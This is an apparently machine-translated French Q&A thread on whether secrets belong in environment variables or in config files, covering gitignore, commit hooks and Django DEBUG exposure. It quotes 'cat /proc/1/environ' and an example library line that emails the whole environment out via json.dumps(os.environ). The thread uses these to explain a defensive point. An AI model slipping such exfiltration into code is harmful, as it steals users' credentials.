Je travaille sur quelques applications dans les rails, django (et un peu de php), et l'une des choses que j'ai commencé à faire dans certaines d'entre elles est de stocker la base de données et d'autres mots de passe en tant que variables d'environnement plutôt que du texte brut dans certains fichiers de configuration ( ou dans settings.py, pour les applications django).
En discutant de cela avec l'un de mes collaborateurs, il a suggéré que c'était une mauvaise pratique - que ce n'est peut-être pas aussi parfaitement sûr que cela puisse paraître à première vue.
Alors, j'aimerais savoir - est-ce une pratique sûre? Est-il plus sûr de stocker les mots de passe sous forme de texte brut dans ces fichiers (en veillant bien sûr à ne pas laisser ces fichiers dans des dépôts publics ou quoi que ce soit)?
Comme mentionné précédemment, les deux méthodes ne fournissent aucune couche de «sécurité» supplémentaire une fois que votre système est compromis. Je crois que l'une des raisons les plus fortes de favoriser les variables d'environnement est le contrôle de version : j'ai vu beaucoup trop de configurations de base de données, etc. être accidentellement stockées dans le système de contrôle de version comme GIT pour que tous les autres développeurs puissent le voir (et oups! moi aussi ...).
Ne pas stocker vos mots de passe dans des fichiers rend impossible leur stockage dans le système de contrôle de version.
la source
Chaque fois que vous devez stocker un mot de passe, celui-ci n'est pas sécurisé. Période. Il n'y a aucun moyen de stocker un mot de passe non chiffré en toute sécurité. Maintenant, quelle variable d'environnement par rapport aux fichiers de configuration est la plus "sécurisée" est peut-être discutable. À mon humble avis, si votre système est compromis, peu importe où il est stocké, un pirate informatique diligent peut le retrouver.
la source
cat /proc/1/environ
par exemple.ps axe
.strace -e open ps axe
montre qu'il obtient cette information/proc/[pid]/environ
, qui a une application d'autorisation (d'où un tas deopen("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)
).ps
était setuid et serait heureux de vous montrer l'environnement de presque tout).Désolé, je n'avais pas assez de représentants pour commenter, mais je voulais également ajouter que si vous ne faites pas attention, votre shell pourrait également capturer ce mot de passe dans son historique des commandes. Donc, exécuter quelque chose comme
$ pwd=mypassword my_prog
manuellement n'est pas aussi éphémère que vous auriez pu l'espérer.la source
read -s MY_PASS_VAR
ce qui protégera à la fois des recherches d'historique des coquilles et des surfeurs d'épaule.HISTCONTROL
est défini surignorespace
ouignoreboth
, donc techniquement, il peut être activé / désactivé.Je pense que lorsque cela est possible, vous devez stocker vos informations d'identification dans un fichier gitignored et non en tant que variables d'environnement.
Une des choses à considérer lors du stockage des informations d'identification dans des variables ENV (environnement) par rapport à un fichier est que les variables ENV peuvent très facilement être inspectées par n'importe quelle bibliothèque ou dépendance que vous utilisez.
Cela peut être fait par malveillance ou non. Par exemple, un auteur de bibliothèque pourrait envoyer des traces de pile ainsi que les variables ENV à lui-même pour le débogage (ce n'est pas la meilleure pratique, mais c'est possible).
Si vos informations d'identification se trouvent dans un fichier, il est beaucoup plus difficile de les atteindre.
Plus précisément, pensez à un npm dans le nœud. Pour qu'un npm regarde vos informations d'identification si elles sont dans l'ENV est une simple question de
process.ENV
. Si par contre ils sont dans un fichier, c'est beaucoup plus de travail.La question de savoir si votre fichier d'informations d'identification est contrôlé par version ou non est une question distincte. Le fait de ne pas contrôler la version de votre fichier d'informations d'identification l'expose à moins de personnes. Il n'est pas nécessaire que tous les développeurs connaissent les informations d'identification de production. Puisque cela respecte le principe du moindre privilège, je suggérerais que git ignore votre fichier d'informations d'identification.
la source
Cela dépend de votre modèle de menace.
Essayez-vous d'empêcher vos utilisateurs de répandre des mots de passe sur tous leurs systèmes de fichiers où ils risquent d'être oubliés et mal gérés? Si tel est le cas, alors oui, car les variables d'environnement sont moins persistantes que les fichiers.
Essayez-vous de vous protéger contre quelque chose de malveillant qui cible directement votre programme? Si tel est le cas, non, car les variables d'environnement n'ont pas le même niveau de contrôle d'accès que les fichiers.
Personnellement, je pense que les utilisateurs négligents sont plus fréquents que les adversaires motivés, alors j'opterais pour l'approche variable d'environnement.
la source
AFAICT, il y a deux raisons pour lesquelles les gens recommandent de stocker des secrets dans des variables d'environnement:
Ces deux problèmes peuvent être mieux résolus. Le premier devrait être résolu par un hook de validation git qui vérifie les choses qui ressemblent à des mots de passe (par exemple, gitleaks ). J'aimerais que Linus intègre un tel outil dans le code source de la bibliothèque git mais, hélas, cela ne s'est pas produit. (Inutile de dire que les fichiers secrets doivent toujours être ajoutés
.gitignore
, mais vous avez besoin d'un crochet au cas où quelqu'un oublierait de le faire.)Ce dernier peut être résolu en ayant un fichier de secrets d'entreprise mondial, qui est idéalement stocké sur un lecteur partagé en lecture seule. Donc, en Python, vous pourriez avoir quelque chose comme
from company_secrets import *
.Plus important encore, comme l'ont souligné d'autres, il est beaucoup trop facile de pirater des secrets stockés dans des variables d'environnement. Par exemple, en Python, un auteur de bibliothèque pourrait insérer
send_email(address="[email protected]", text=json.dumps(os.environ))
, puis vous êtes grillé si vous exécutez ce code. Le piratage est beaucoup plus difficile si vous avez un fichier sur votre système appelé~/secret_company_stuff/.my_very_secret_company_stuff
.Utilisateurs de Django uniquement:
Django (en mode DEBUG) affiche la valeur brute d'une variable d'environnement dans le navigateur s'il y a une exception (en mode DEBUG). Cela semble très peu sûr si, par exemple, un développeur se met accidentellement
DEBUG=True
en production. En revanche, Django DOES paramètres de mot de passe Occultation des variables en recherchant les chaînesAPI
,TOKEN
,KEY
,SECRET
,PASS
ouSIGNATURE
dans le cadre dessettings.py
noms de variables de fichier.la source